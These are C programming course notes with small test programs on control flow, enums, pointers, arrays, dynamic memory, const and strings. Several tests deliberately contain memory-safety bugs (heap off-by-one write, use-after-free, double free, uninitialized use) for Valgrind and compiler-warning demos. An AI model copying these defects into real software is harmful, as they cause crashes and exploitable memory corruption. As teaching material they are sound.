  • absent condition acts as true; for(;;) is an indefinite loop

18

example puts input and summation entirely in the for header

  • for(s = 0; scanf("%lf", &k) == 1; s += k) {}
  • stops when a conversion does not succeed
  • author shows this to explain flexibility, not as preferred formatting

19

comma expressions allow several initialization/update actions

  • reversing an array: i starts at 0, j at length-1
  • while i < j, swap arr[i] and arr[j]
  • update i++, j--
  • keep complex loop headers readable rather than using every possible trick

20

break; exits the innermost enclosing loop or switch

21

continue; skips the remaining loop body

  • while / do-while: proceed to the condition
  • for: perform the update expression, then test the condition

22

return ends the current function invocation

  • can also provide its result

23

return expression; supplies a result

  • return; exits a void function early
  • a void function can finish normally by reaching its closing brace

24

a value-returning function must supply the result its caller needs

  • investigate warnings about control reaching the end
  • main has a special implicit-success rule in modern hosted C

25

book relates return to ABI result locations

  • i386 integer results commonly use EAX
  • floating results in the discussed ABI use the x87 stack top
  • final result placement must survive until control returns
  • compiler chooses the actual register/memory schedule

26

Pascal implementations can preserve a function-result variable until return

  • some older conventions used caller-provided stack storage
  • C can also use hidden result pointers for values too large for result registers
  • language semantics and a particular calling convention are separate matters

27

goto transfers control to a label within the same function

  • no separate forward label declaration is needed
  • do not jump into the middle of structured logic or bypass required setup

28

label syntax in the book's C subset: name: statement

  • at a block end, name: ; supplies an empty statement
  • goto name;
  • author permits goto for leaving several nested constructs or centralized cleanup

29

switch(expression) selects a case label according to an integer value

  • case constant_expression: starts a possible entry point
  • default: handles unmatched values
  • case labels require integer constant expressions
  • an ordinary const-qualified object is not such a constant expression

30

case labels do not end earlier cases

  • execution continues through subsequent labels until a jump or switch end
  • example starting at case 4 prints Fourth, Fifth, then More
  • -> fallthrough

31

use explicit transfer to keep cases independent

  • break exits switch
  • return exits the containing function
  • goto can transfer outside; continue refers to an enclosing loop
  • deliberate fallthrough should be obvious to readers

32

keep switches manageable:

  • choose a consistent case-label indentation
  • isolate a large switch in its own function
  • move substantial case bodies into helper functions
  • author advises against nested switches
Section test (1 file) - 4.3.6: Statements
Section test06 (04-03)In catalog
while.cC / 6 lines
int main()
{
    while (1) {
    }
    return 0;
}

Enumerated Type

enum colors { red, orange, yellow, green, blue, violet };
enum colors one_color; /* can be any integer */
Detailed notes - 4.3.7: Enumerations

1

enum introduces an enumeration

  • resembles Pascal's named set of values
  • C gives enumeration constants a close relationship to integers

2

enum colors { red, orange, yellow, green, blue, violet };

  • type name is enum colors, not colors alone
  • enum colors one_color; declares an object of that type

3

C also uses struct tag and union tag as two-part type names

  • a typedef can introduce a separate one-word alias
  • C++ has different rules for using tags as type names

4

traditional enum constants are integer constants

  • first unspecified value is 0; each following unspecified value increments by 1
  • red = 0 through violet = 5 in the example
  • integer operations on the constants are possible
  • enum object representation is implementation-dependent, not necessarily int

5

using enum types can improve intent and compiler diagnostics

  • replacing every enum-typed object with int loses that information
  • anonymous enum declarations can still be useful solely to name constants

6

enumeration constants can have explicit values

  • RGB example: red = 0xff0000, green = 0x00ff00, blue = 0x0000ff
  • names then carry both domain meaning and useful numeric representation

7

several enumeration constants may have the same value

  • aqua and cyan can both be 0x00ffff

8

explicit and implicit enum values can be mixed

  • unspecified value is previous value + 1
  • constant expressions may refer to earlier enumeration constants
  • aliases need not have distinct numeric values

9

enum declaration ends with a semicolon after }

  • array declarations with braced initializers also end with };
  • closing braces alone do not finish these declarations

10

type definition can also declare objects:

  • enum states { running, blocked, ready } new_state, last_state;
  • omitting objects still requires the declaration's semicolon
  • function definitions have different termination syntax

11

missing declaration semicolon can produce confusing later diagnostics

  • inspect the preceding type definition when an apparently unrelated line fails

Introducing Constants Using an Enumerated Type

enum { max_buffer_size = 1024 };
Detailed notes - 4.3.8: Naming constants with enum

1

replace unexplained numeric literals with meaningful names

  • obvious counters/sentinels such as 0 and 1 are common exceptions

2

macros historically supplied named constants

  • preprocessing substitution does not obey C block scope
  • this can make macros inconvenient as ordinary program names

3

enum can introduce scoped integer constant expressions

  • enum { max_buffer_size = 1024 };
  • documents meaning and gives one place to change the value
  • not intended here to model a useful one-value domain

4

enum naming is limited to integer constants

  • cannot use this mechanism for floating or string constants
  • choose other declarations/macros according to the intended use

5

author reserves uppercase constant-like names for macros

  • uses ordinary lowercase naming for enum constants
  • separates macro conventions from ordinary scoped identifiers

Enumerated Type and the Switch Statement

#include <stdio.h>

enum greek {alpha, beta, gamma = beta, delta};

void greek_print(enum greek x)
{
    switch(x) {
        case alpha:
            printf("Alpha\n");
            break;
        case beta:
            printf("Beta\n");
            break;
    }
}

int main()
{
    enum greek greek_letter = beta;
    greek_print(greek_letter);
    return 0;
}
Detailed notes - 4.3.9: Enumerations and switch

1

enumeration constants are suitable case labels

  • switching on an enum-typed expression can enable missing-case diagnostics

2

example enum greek { alpha, beta, gamma = beta, delta }

  • cases for alpha and beta cover gamma's numeric value too
  • missing delta can be diagnosed with suitable warning options

3

adding a default can hide a forgotten new enumeration value

  • first investigate why a case is missing
  • explicitly list intentionally inactive alternatives
  • this documents coverage and preserves useful enum-switch warnings

4

avoid unexplained numbered cases for named application states

  • enum gives each state a descriptive identity

5

names make review easier than anonymous numbers such as 12 and 13

  • reduce accidental disagreement between producers and consumers of state values
  • reader can understand a case without searching for a hidden numbering scheme

Local "Static" Variables

int my_function(int x, int y)
{
    int tt = 25;
    static int zz = 75; /* visible only in my_function,
                             but has same lifetime as program */
    /* ... */
}
Detailed notes - 4.3.10: Local static variables

1

scope determines where a variable's name is visible

  • file-scope name: from declaration onward in the translation unit
  • block-scope name: from declaration to end of the block

2

storage duration determines how long its object exists

  • ordinary automatic local belongs to an active block/function invocation
  • static-duration storage exists throughout program execution

3

local static combines block scope with static storage duration

  • static int zz = 75;
  • one object, initialized once, not a fresh object for each call
  • without explicit initializer it is zero-initialized
  • ordinary int tt = 25 is initialized for each invocation
  • recursive calls have separate tt objects but share zz

4

local static preserves changes between calls

  • static int n = 0; print n; increment n
  • successive calls print 0, 1, 2, ...

5

local static hides persistent shared state behind a local name

  • has many of the same reentrancy/testing problems as global state
  • use only when persistence is intentional

6

static at file scope has a different role

  • gives objects/functions internal linkage within the translation unit
  • does not mean a function-local persistent variable

Addresses, Pointers, and Operations on Them

A pointer is a variable that stores an address.

The statement "A points to B" means "A contains the address of B".

int *p                  /* p can store address of int */
double *q;              /* q can store address of double */
char *s1, *s2, *s3;     /* s1, s2, s3 can store address of char */
int x;
int *p;                 /* p can store address of int */
p = &x;                 /* p stores address of x */
*p = 27;                /* save 27 into address of x */
int x, y;
int *p, *q, *r;         /* p, q, r can store address of int */
x = 25;
y = 36;
p = &x;                 /* p stores address of x */
q = &y;                 /* q stores address of y */
r = p;                  /* r stores same address as p */
*r = *q;                /* same as x = y */
int val = 42;
int *ptr = &val;

int a = *ptr;   /* Assembly: mov eax, [ptr] */
*ptr = 100;     /* Assembly: mov [ptr], 100 */
void *z;                /* can store address of any type */
NULL;                   /* stores address that is definitely empty */
                        /* we can use it in conditions as "false" */
Detailed notes - 4.3.11: Addresses and pointers

1

pointers are central to C

  • functions receive addresses to modify caller-owned objects
  • array access also relies on pointer expressions and arithmetic

2

machine model: memory is a linear sequence of addressable cells

  • an object can occupy several consecutive cells
  • its address identifies the beginning of its storage

3

compiler may keep values in registers or eliminate storage when unobservable

  • taking an object's address requires preserving the language's addressable-object behavior

4

addresses are values that can be stored and processed

  • typed pointers record the type of object they can designate

5

pointer variable stores an address

  • "p points to x" means p holds x's address
  • pointer variable and pointed-to object are different objects

6

int *p; declares a pointer to int

  • double *q; declares a pointer to double
  • each declarator needs its own *
  • char *s1, *s2, *s3; declares three pointers
  • char *s1, s2, s3; declares only s1 as a pointer
  • one pointer declaration per line avoids that ambiguity

7

&x obtains x's address; *p designates the object addressed by p

  • int x; int *p; p = &x;
  • *p = 27 stores 27 into x

8

pointer assignment versus pointed-value assignment:

  • p = &x; q = &y; r = p;
  • p and r now point to x; q points to y
  • *r = *q copies y's value into x
  • pointed-value assignment does not change the pointers themselves

9

understand the difference before continuing

  • later arrays, strings, and output parameters depend on it

10

one explanation of declarators follows how a name is used

  • int *p declares p so that dereferencing it yields an int

11

another reading treats * in a declaration as "pointer to"

  • declaration syntax describes a type
  • unary * in an expression performs dereferencing
  • these related spellings occur in different grammatical contexts

12

void* is a generic object-pointer type

  • object pointers can convert to void* and back in C
  • recover an appropriate object-pointer type before dereferencing
  • this guarantee does not generally include function pointers

13

null pointer represents no object/function

  • NULL is a macro suitable for spelling a null pointer constant
  • representation need not be an all-zero machine address
  • never dereference it

14

pointer expressions can be conditions

  • null pointer -> false
  • any non-null pointer -> true
  • non-null alone does not prove a pointer is valid to dereference
An address is a value; the pointer and its target are separate objects.
Pointer assignment and value assignment. Open full size - Editable SVG
Tests & experiments (9 files) - 4.3.11: Addresses and pointers
Section test11 (04-03)In catalog
address.cC / 10 lines
#include <stdio.h>

int main() {
    int x;
    int *p;         /* p can store address of int */
    p = &x;         /* p stores address of x */
    *p = 27;        /* save 27 into address of x */
    printf("%x %x %x %d %d\n", p, &p, &x, x, *p);
    return 0;
}
pointer.cC / 8 lines
#include <stdio.h>

int main() {
    int x = 25;
    int *p = &x;
    printf("%d\n", p[0]);
    return 0;
}
Section testStack layout & pass-by-value assembly testsIn catalog
layout.cC / 14 lines
#include <stdio.h>

void foo() {
    char arr[4] = {'A', 'B', 'C', 'D'};
    void **fp = (void **)__builtin_frame_address(0);
    printf("arr[0]  = %p\n", (void*)&arr[0]);
    printf("arr[3]  = %p\n", (void*)&arr[3]);
    printf("ret addr= %p\n", (void*)&fp[1]);
}

int main() {
    foo();
    return 0;
}
pass_by_value.cC / 16 lines
/* gcc -S -masm=intel -fno-asynchronous-unwind-tables pass_by_value.c -o - | grep -vE '^\s*\.' > pass_by_value.asm */

int add(int x, int y)
{
    return x + y;
}

int main()
{
    int a, b, c, d, e;
    a = 1;
    b = 2;
    c = add(a, b);
    d = 4;
    e = 9;
}
pass_by_value.asmAssembly / 27 lines
add:
    push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add eax, edx
    pop rbp
    ret
main:
    push    rbp
    mov rbp, rsp
    sub rsp, 32
    mov DWORD PTR -4[rbp], 1
    mov DWORD PTR -8[rbp], 2
    mov edx, DWORD PTR -8[rbp]
    mov eax, DWORD PTR -4[rbp]
    mov esi, edx
    mov edi, eax
    call    add
    mov DWORD PTR -12[rbp], eax
    mov DWORD PTR -16[rbp], 4
    mov DWORD PTR -20[rbp], 9
    mov eax, 0
    leave
    ret
pass_by_value_pointer.cC / 15 lines
/* gcc -S -masm=intel -fno-asynchronous-unwind-tables prog.c -o - | grep -vE '^\s*\.' > prog.asm */

void add(int x, int y, int *z)
{
    *z = x + y;
}

int main()
{
    int a, b;
    int *c;
    a = 1;
    b = 2;
    add(a, b, c);
}
pass_by_value_pointer.asmAssembly / 29 lines
add:
    push    rbp
    mov rbp, rsp
    mov DWORD PTR -4[rbp], edi
    mov DWORD PTR -8[rbp], esi
    mov QWORD PTR -16[rbp], rdx
    mov edx, DWORD PTR -4[rbp]
    mov eax, DWORD PTR -8[rbp]
    add edx, eax
    mov rax, QWORD PTR -16[rbp]
    mov DWORD PTR [rax], edx
    nop
    pop rbp
    ret
main:
    push    rbp
    mov rbp, rsp
    sub rsp, 16
    mov DWORD PTR -4[rbp], 1
    mov DWORD PTR -8[rbp], 2
    mov rdx, QWORD PTR -16[rbp]
    mov ecx, DWORD PTR -8[rbp]
    mov eax, DWORD PTR -4[rbp]
    mov esi, ecx
    mov edi, eax
    call    add
    mov eax, 0
    leave
    ret
pass_by_value_tree.cC / 19 lines
#include <stdlib.h>

/* gcc -S -masm=intel -fno-asynchronous-unwind-tables prog.c -o - | grep -vE '^\s*\.' > prog.asm */

void init(int *p)
{
    p = NULL;
}

int main()
{
    int *p, *q;
    int x, y;
    x = 5;
    p = &x;
    init(p);
    q = p;
    return 0;
}
pass_by_value_tree.asmAssembly / 20 lines
init:
    push    rbp
    mov rbp, rsp
    mov QWORD PTR -8[rbp], rdi
    mov QWORD PTR -8[rbp], 0
    nop
    pop rbp
    ret
main:
    push    rbp
    mov rbp, rsp
    sub rsp, 16
    mov rax, QWORD PTR -8[rbp]
    mov rdi, rax
    call    init
    mov rax, QWORD PTR -8[rbp]
    mov QWORD PTR -16[rbp], rax
    mov eax, 0
    leave
    ret

Organizing "Output" Parameters in Functions

void swap(int *a, int *b)
{
    int t;
    t = *a;
    *a = *b;
    *b = t;
}
swap(&x, &y);

Etude 4.05: a function that returns a variable's value and sets the variable to zero. The caller passes the variable's address:

#include <stdio.h>

int get_and_zero(int *x)
{
    int res = *x;
    *x = 0;
    return res;
}

int main()
{
    int x = 4, y;
    y = get_and_zero(&x);
    printf("x = %d, y = %d\n", x, y);
    return 0;
}
x = 0, y = 4

Etude 4.06 writes one result through three pointers and also returns it:

int put_sum(int *x, int *y, int *z)
{
    int sum;
    sum = *x + *y + *z;
    *x = sum;
    *y = sum;
    *z = sum;
    return sum;
}
Detailed notes - 4.3.12: Output parameters

1

C arguments are passed by value

  • to change a caller's object, pass its address explicitly

2

swap(int *a, int *b):

  • temporary t receives *a
  • *a = *b; *b = t;
  • caller uses swap(&x, &y)
  • a and b are local pointer copies; their targets are the caller's x and y
Tests & experiments (2 files) - 4.3.12: Output parameters
Section test12 (04-03)In catalog
MakefileMake / 8 lines
CFLAGS = -g -Wall -O0 -ansi -pedantic

PROGS = $(basename $(wildcard *.c))

all: $(PROGS)

clean:
    rm -f *.o $(PROGS)
pointer00.cC / 7 lines
int main()
{
    int x = 5;
    int *p = &x;
    *p = 7;
    return 0;
}

Arrays

int m[20];
int *p;
p = m;                  /* now p[0] = m[0] = *m */
                        /* *m  , *(m+1), *(m+2), ..., *(m+19) */
                        /* m[0]    m[1],   m[2], ...,   m[19] */
                        /* a[b] = *(a+b) = b[a] */
                        /* m[17] = *(m+17) = 17[m] */
p = &m[13];
p = m + 13;
x = p - m               /* x = 13 */
Detailed notes - 4.3.13: Arrays

1

int m[20] defines an array of 20 ints, indexed 0..19

  • arrays do exist as C objects, despite the book's provocative opening claim
  • in most expressions an array converts to a pointer to its first element
  • int *p = m; then p[i] and m[i] access the same elements
  • *m designates the first element

2

pointer arithmetic advances in elements, not arbitrary bytes

  • m + k points to element k
  • adding 1 advances by sizeof(*m) bytes
  • m[k] equals *(m + k)
  • permitted arithmetic stays within one array or its one-past position
  • one-past pointers may not be dereferenced

3

subscript definition: a[b] == *(a+b)

  • therefore 17[m] can mean m[17]
  • use conventional array[index] spelling for readability

4

sizeof on an actual array reports its whole size

  • sizeof(m) == 20 * sizeof(int)
  • array does not convert to a pointer in this context
  • &m also preserves the array type, yielding a pointer to the whole array

5

whole-array assignment is not supported

  • array-backed strings cannot be assigned as wholes either
  • copying elements requires an explicit operation

6

subtract pointers into the same array to obtain element distance

  • p = m + 13; then p - m == 13
  • result type is ptrdiff_t
  • unrelated-object pointer subtraction is not meaningful portable C
Array layout and pointer types determine the size of one step.
Pointer arithmetic counts elements. Open full size - Editable SVG
Tests & experiments (7 files) - 4.3.13: Arrays
Section test13 (04-03)In catalog
array-00.cC / 11 lines
#include <stdio.h>

int main()
{
    int a[3];
    a[0] = 1;
    a[1] = 2;
    a[2] = 3;
    printf("%d %d %d\n", a[0], a[1], a[2]);
    return 0;
}
array-01.cC / 13 lines
#include <stdio.h>

int main() {
    int x;
    int *p;
    int m[20];

    x = 25;
    p = &x;
    m = p;

    return 0;
}
array-02.cC / 21 lines
#include <stdio.h>

int main(void) {
    int arr[5] = {1, 2, 3, 4, 5};
    int *const ptr = arr; /* Closest pointer equivalent */

    /* Difference 1: sizeof */
    printf("sizeof(arr): %zu\n", sizeof(arr)); /* 20 (if int is 4 bytes) */
    printf("sizeof(ptr): %zu\n", sizeof(ptr)); /* 8 (on 64-bit systems) */

    /* Difference 2: Address-of */
    /* arr and &arr evaluate to the same memory address */
    printf("arr : %p\n", (void*)arr);
    printf("&arr: %p\n", (void*)&arr);

    /* ptr and &ptr evaluate to different memory addresses */
    printf("ptr : %p\n", (void*)ptr);
    printf("&ptr: %p\n", (void*)&ptr);

    return 0;
}
array-03.cC / 30 lines
#include <stdio.h>

#define NCOL 4

void print_matrix(int (*a)[NCOL], int m)
{
    for (int i = 0; i < m; i++) {
        printf("[");
        for (int j = 0; j < NCOL; j++)
            printf("%2d ", a[i][j]);
        printf("]");
        if (i != m - 1)
            printf("\n");
    }
}

int main()
{
    int a[][NCOL] = {
        { 1,  2,  3,  4},
        { 5,  6,  7,  8},
        { 9, 10, 11, 12}
    };
    int m = sizeof(a) / sizeof(*a);

    int (*p)[NCOL];
    p = a;
    print_matrix(p, m);
    return 0;
}
array-04.cC / 6 lines
int main(void) {
    int arr[5];
    /* Intentional mismatch to trigger a warning */
    int *ptr = &arr;
    return 0;
}
array-05.cC / 13 lines
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *a[3];
    *a = malloc(3*sizeof(int));
    (*a)[0] = 1;
    (*a)[1] = 2;
    (*a)[2] = 3;
    printf("%d %d %d\n", (*a)[0], (*a)[1], (*a)[2]);
    return 0;
}
array-06.cC / 21 lines
#include <stdio.h>

void modify_array(int a[])
{
    a[0] = 5;
    a[1] = 6;
    a[2] = 7;
    a[3] = 8;
}

int main()
{
    int a[4];
    a[0] = 1;
    a[1] = 2;
    a[2] = 3;
    a[3] = 4;
    modify_array(a);
    printf("%d %d %d %d\n", a[0], a[1], a[2], a[3]);
    return 0;
}

Dynamic Memory

#include <stdlib.h>

void *malloc(int size);
void free(void *p);
double *k;
k = malloc(360*sizeof(double));

for (i = 0; i < 360; i++)
    k[i] = sin((2*M_PI/360.0) * (double)i);

free(k);
Detailed notes - 4.3.14: Dynamic memory

1

malloc and free are library facilities

  • malloc(size) requests size bytes and returns void*, or NULL on failure
  • actual size parameter type is size_t
  • double *k = malloc(360 * sizeof(*k));
  • check success before using k[0] through k[359]
  • example fills elements with sine values at one-degree intervals
  • free(k) releases the allocation; no size argument is needed
  • pass the allocation's original pointer, not an interior address
  • free(NULL) is valid; double-free and use after free are errors

2

calloc and realloc provide additional allocation operations

  • discussed later in 4.10

3

include <stdlib.h> for allocation declarations

For a positive new size, a failed realloc leaves the original allocation valid.
Reallocation must preserve the original pointer. Open full size - Editable SVG
Tests & experiments (10 files) - 4.3.14: Dynamic memory
Section testValgrind memory tests (appendix-02)In catalog
MakefileMake / 18 lines
PROGRAMS = valgrind06

CC = gcc
CFLAGS = -g -Wall -O0

all: $(PROGRAMS)

%.o: %.c %.h
    $(CC) -c $< -o $@ $(CFLAGS)

$(PROGRAMS): %: %.c $(OBJMODULES)
    $(CC) $^ -o $@ $(CFLAGS)

clean:
    rm -f *.o $(PROGRAMS)

ctags:
    ctags *.c *.h
call.cC / 10 lines
int x = 10;

void reset(void) {
    x = 0;
}

int main()
{
    return 0;
}
ignore.cC / 13 lines
#include <stdio.h>
#include <unistd.h>

int main()
{
    int i;

    for (i = 0; i < 1000; i++) {
        printf("hello there\n");
        sleep(1);
    }
    return 0;
}
valgrind00.cC / 15 lines
#include <stdio.h>

int main()
{
    int i, x;

    for (i = 0; i < 10; i++) {
        if (x < 10)
            printf("First\n");
        else
            printf("Second\n");
        x = i*i;
    }
    return 0;
}
valgrind01.cC / 11 lines
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *p;

    p = malloc(sizeof(*p));

    return 0;
};
valgrind02.cC / 16 lines
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *p;

    p = malloc(sizeof(*p));
    *p = 10;

    p = NULL;

    free(p);

    return 0;
};
valgrind03.cC / 16 lines
#include <stdio.h>
#include <stdlib.h>

int main()
{
    int *p;

    p = malloc(sizeof(*p));
    *p = 10;

    p = NULL;

    free(p);

    return 0;
};
valgrind04.cC / 18 lines
#include <stdio.h>
#include <stdlib.h>

enum { num_elements = 5 };

int main()
{
    int *a, i;

    a = malloc(num_elements * sizeof(*a));

    for (i = 0; i <= num_elements; i++)
        a[i] = 0;

    free(a);

    return 0;
};
valgrind05.cC / 13 lines
#include <stdlib.h>

int main()
{
    int *p;

    p = malloc(sizeof(*p));
    free(p);

    *p = 5;

    return 0;
}
valgrind06.cC / 12 lines
#include <stdlib.h>

int main()
{
    int *p;

    p = malloc(sizeof(*p));
    free(p);
    free(p);

    return 0;
}

The const modifier

const int iteration_count = 78; /* still a variable, that should not change */
const int *p;                   /* pointer can change,
                                     what it points to cannot */
void suspicious_func(int *a);
void trustworthy_func(const int *a);
Detailed notes - 4.3.15: const qualification

1

const qualifies a type to restrict modification through it

  • does not generally turn a C object into a compile-time constant expression

2

const int iteration_count = 78;

  • normally initialize an object that cannot subsequently be assigned
  • ordinary const objects do not qualify as integer constant expressions for case labels

3

variable-length arrays use runtime size expressions in supported C modes

  • different from compile-time array bounds
  • author avoids them in this course
  • runtime stack requirements and implementation support must be considered

4

const int *p points to const-qualified int

  • p itself may change
  • *p cannot be modified through that pointer

5

int * const q = &x makes the pointer object constant

  • q cannot be reassigned
  • pointed-to x may still be modified

6

const-qualified pointer parameters document read-only access

  • function(const int *a) promises no modification through a
  • compiler can diagnose attempts to write through that interface

7

casts can remove a pointer's const qualification

  • changing an object originally defined const is still undefined behavior
  • qualification is a checked interface contract, not physical write protection
Tests & experiments (2 files) - 4.3.15: const qualification
Section test15 (04-03)In catalog
const-00.cC / 14 lines
#include <stdio.h>

void trustworthy_func(const int *a)
{
    *a = 5;
}

int main()
{
    int x = 5;
    trustworthy_func(&x);
    printf("%d\n", x);
    return 0;
}
const-01.cC / 15 lines
#include <stdio.h>

const int global_prime_numbers[] = {1, 2, 3, 5, 7, 11, 13, 17};
const int global_random_numbers[] = {5, 3, 7};

int main() {
    int *p;
    int x;
    const int local_prime_numbers[] = {1, 2, 3, 5, 7, 11, 13, 17};
    x = 5;
    p = &x;
    global_prime_numbers = global_random_numbers;
    printf("%d\n", *global_prime_numbers);
    return 0;
}

The Concept of an Lvalue

Let's say we have an array of integer pointers:

int *ptrvec[20];
int x;
x = 27;
ptrvec[5] = &x;
*ptrvec[5];

What happens when we want to evaluate *ptrvec[5] expression:

Base address of array      ptrvec           0x7ffd41ceb670
Address of index (Base+40) ptrvec+5         0x7ffd41ceb698
Value stored at index 5    *(ptrvec+5) (&x) 0x7ffd41ceb66c
  (the pointer &x)         ptrvec[5]        0x7ffd41ceb66c
Final value after second   **(ptrvec+5) (x) 27
  dereference              *ptrvec[5]   (x) 27

When applying assignment, increment, decrement, or address-of operations, the memory location of x matters more than its actual value. The compiler stops evaluating the expression one step early, skipping the final dereference of the pointer to x. Since not all expressions have a distinct memory address (e.g., 5 or x+1), they cannot reside on the left side of an assignment.

Expressions that are valid on the left side of an assignment are called lvalue's. Because of modifier const, l in lvalue refers to locator and not left.

Detailed notes - 4.3.16: lvalues

1

x and literal 22 can yield the same value without being equivalent expressions

  • x can designate an object to modify
  • 22 is just a value, not a writable object

2

object-designating expressions can provide a location as well as a value

  • assignment needs the destination object
  • address-of needs its address
  • ordinary value use reads the object's stored value

3

array elements and record members also behave like variables

  • object-designating expressions can be much more complex than a simple name

4

example: int *ptrvec[20]; ptrvec[5] = &x;

  • *ptrvec[5] designates x
  • value use finds the pointer in element 5, then reads x through it

5

assignment/address-taking need the object's location, not merely its old value

  • *ptrvec[5] = value stores through the computed address
  • increment/compound assignment need both the existing value and destination

6

x + 1 produces a value but does not designate an assignable object

  • cannot use it as the destination of ordinary assignment

7

lvalue is the traditional term for an object-designating expression

  • name originated from left-hand side of assignment
  • value-only expressions are informally called rvalues

8

not every lvalue is modifiable

  • const-qualified object still has identity/storage
  • arrays are another nonassignable lvalue case
  • distinguish lvalue from modifiable lvalue
  • address-taking also has exceptions, such as bit-fields

9

C++ has additional value categories such as xvalue

  • they are not needed for this C discussion
Tests & experiments (2 files) - 4.3.16: lvalues
Section test16 (04-03)In catalog
lvalue.cC / 17 lines
#include <stdio.h>

int main() {
    int *ptrvec[20];
    int x;
    x = 27;
    ptrvec[5] = &x;

    printf("Base address of array      ptrvec           %p\n", ptrvec);
    printf("Address of index (Base+40) ptrvec+5         %p\n", ptrvec+5);
    printf("Value stored at index 5    *(ptrvec+5) (&x) %p\n", *(ptrvec+5));
    printf("  (the pointer &x)         ptrvec[5]        %p\n", ptrvec[5]);
    printf("Final value after second   **(ptrvec+5) (x) %d\n", **(ptrvec+5));
    printf("  dereference              *ptrvec[5]   (x) %d\n", *ptrvec[5]);

    return 0;
}
pascal.pasPascal / 59 lines
program lval;
type
    PInner = ^TInner;
    TInner = record
        m: integer;
    end;
    POuter = ^TOuter;
    TOuter = record
        name: string;
        t: PInner;
    end;
var
    p: array [1..3] of POuter;
    x: integer;
    q: ^integer;

function f(x: integer): integer;    { some index computation }
begin
    f := x mod 3 + 1
end;

procedure twice(var v: integer);    { var: gets the variable itself }
begin
    v := v * 2
end;

procedure setup;
var
    i: integer;
begin
    for i := 1 to 3 do begin
        new(p[i]);
        new(p[i]^.t);
        p[i]^.t^.m := i * 100
    end
end;

procedure show;
var
    i: integer;
begin
    for i := 1 to 3 do
        write('p[', i, ']^.t^.m = ', p[i]^.t^.m, '   ');
    writeln
end;

begin
    setup;
    show;
    x := 4;                             { f(4) = 2 }
    writeln('read:  ', p[f(x)]^.t^.m);
    p[f(x)]^.t^.m := 7;                 { assign }
    inc(p[f(x)]^.t^.m);                 { inc takes a var param: 8 }
    twice(p[f(x)]^.t^.m);               { our own var param: 16 }
    show;
    q := @p[f(x)]^.t^.m;                { has an address }
    q^ := 99;
    show
end.

Array Initializers

int m[10] = { 2, 3, 5, 7, 11, 13, 17, 19, 21, 23 };

int m[] = { 2, 3, 5, 7, 11, 13, 17, 19, 21, 23 };

for (i = 0; i < sizeof(m)/sizeof(m[0]); i++)
    printf("[%d] = %d\n", i, m[i]);

for (i = 0; i < sizeof(m)/sizeof(*m); i++)
    printf("[%d] = %d\n", i, m[i]);

int f(int x)
{
    int m[] = { 2, 3, 5, 7, 11, 13, 17, 19, 21, 23 };

    /* ... */
}
Detailed notes - 4.3.17: Array initialization

1

array initializer lists elements inside braces

  • int m[3] = { 2, 3, 5 };
  • declaration ends with a semicolon
  • static-duration initializers require constant expressions
  • automatic arrays can also use runtime initializer expressions in applicable C versions

2

omitted array bound can be inferred from its initializer

  • int m[] = { 2, 3, 5 };
  • element count = sizeof(m) / sizeof(m[0]) for an actual array
  • initialization is not whole-array assignment
  • this formula does not determine a dynamically allocated array's length from a pointer

3

automatic local arrays can be initialized on entry

  • their contents must be established for each relevant execution
  • consider object lifetime and initialization work

Strings

In C, strings are null-terminated character arrays.

int string_length(const char *str)
{
    int i;
    i = 0;
    while (str[i] != '\0')
        i++;
    return i;
}

int string_length(const char *str)
{
    int i;
    for (i = 0; str[i]; i++)
        {}
    return i;
}


int string_length(const char *str)
{
    const char *p;
    for (p = str; *p; p++)
        {}
    return p - str;
}
void string_copy(char *dest, const char *src)
{
    int i;
    for (i = 0; src[i]; i++)
        dest[i] = src[i];
    dest[i] = 0;
}

void string_copy(char *dest, const char *src)
{
    for ( ; *src; dest++, src++)
        *dest = *src;
    *dest = 0;
}
Detailed notes - 4.3.18: Strings

1

text length is often unknown when the program is written

  • allocated capacity and currently used length are different
  • representation needs a way to identify the current end

2

classic Pascal short strings store length in a leading byte

  • that representation limits content to 255 characters
  • this is not a limit on every Pascal string representation

3

C string is a sequence of chars ending at the first zero byte

  • terminator is not part of the string's length
  • unused bytes after it are irrelevant to ordinary string operations
  • a char array without a reachable terminator is not a valid C string

4

null termination permits arbitrary length subject to storage limits

  • finding length requires scanning for the terminator
  • embedded zero cannot be part of this string representation
  • binary data needs a separate length; encoded text can also require other representations

5

length function receives a pointer to the first char

  • does not need to modify the string
  • parameter should therefore be const char *

6

read-only parameters accept data already exposed through const-qualified interfaces

  • avoids falsely promising or requiring write access

7

string literals must not be modified

  • C++ encodes this directly in their const-qualified array type
  • const char * lets one read-only interface accept such strings

8

C string literals have char array type for historical compatibility

  • attempts to modify them still have undefined behavior
  • compiler options such as -Wwrite-strings can help diagnose unsuitable interfaces

9

use pointer-to-const parameters when the pointed-to objects will not be changed

10

first string_length implementation scans by index

  • start i = 0; while str[i] != '\0', increment i
  • first zero's index equals the byte length
  • empty string has its terminator at index 0

11

equivalent loop forms:

  • for(i = 0; str[i]; i++) {}
  • pointer scan: start p = str; advance while *p != 0; return p - str
  • compiler optimization matters more than manually counting source additions
  • while(*p++); advances past the terminator
  • returning p-str afterward gives length + 1: the compact example is wrong
  • keep empty bodies and side effects visually explicit

12

strlen from <string.h> provides standard byte-length calculation

  • returns size_t
  • implement it while learning, then normally use the recognizable library function

13

string_copy(char *dest, const char *src):

  • caller supplies enough destination space, including the final zero
  • source is read-only; destination is writable
  • copy nonzero characters, then explicitly store dest[i] = 0
  • otherwise destination may not be terminated

14

pointer version advances dest and src while copying

  • parameters are local pointer copies, so advancing them does not move caller pointers
  • append the zero after the loop
  • author prefers preserving parameter values when it makes intent clearer

15

compact idiom: while((*dest++ = *src++)) {}

  • copies each character, including the terminating zero
  • assignment result determines whether to continue
  • pointer increments are side effects
  • understand the idiom, but prefer readable explicit control flow

16

strcpy from <string.h> performs this kind of copying

  • caller is responsible for destination capacity

17

these copy routines assume source and destination do not overlap

  • overlap may require copying in a different direction
  • memmove provides overlap-safe byte copying
Storage capacity, string length, and binary data length are different quantities.
A C string ends at its first zero byte. Open full size - Editable SVG

String Literals

C compilers store string literals as null-terminated character arrays in read-only memory (like the .text segment).

char str[6] = "Hello";
char str[6] = { 'H', 'e', 'l', 'l', 'o', 0 };

char str[] = "Hello";   /* creates modifiable copy of string */
char *ptr = "Hello";    /* just points to read-only memory */

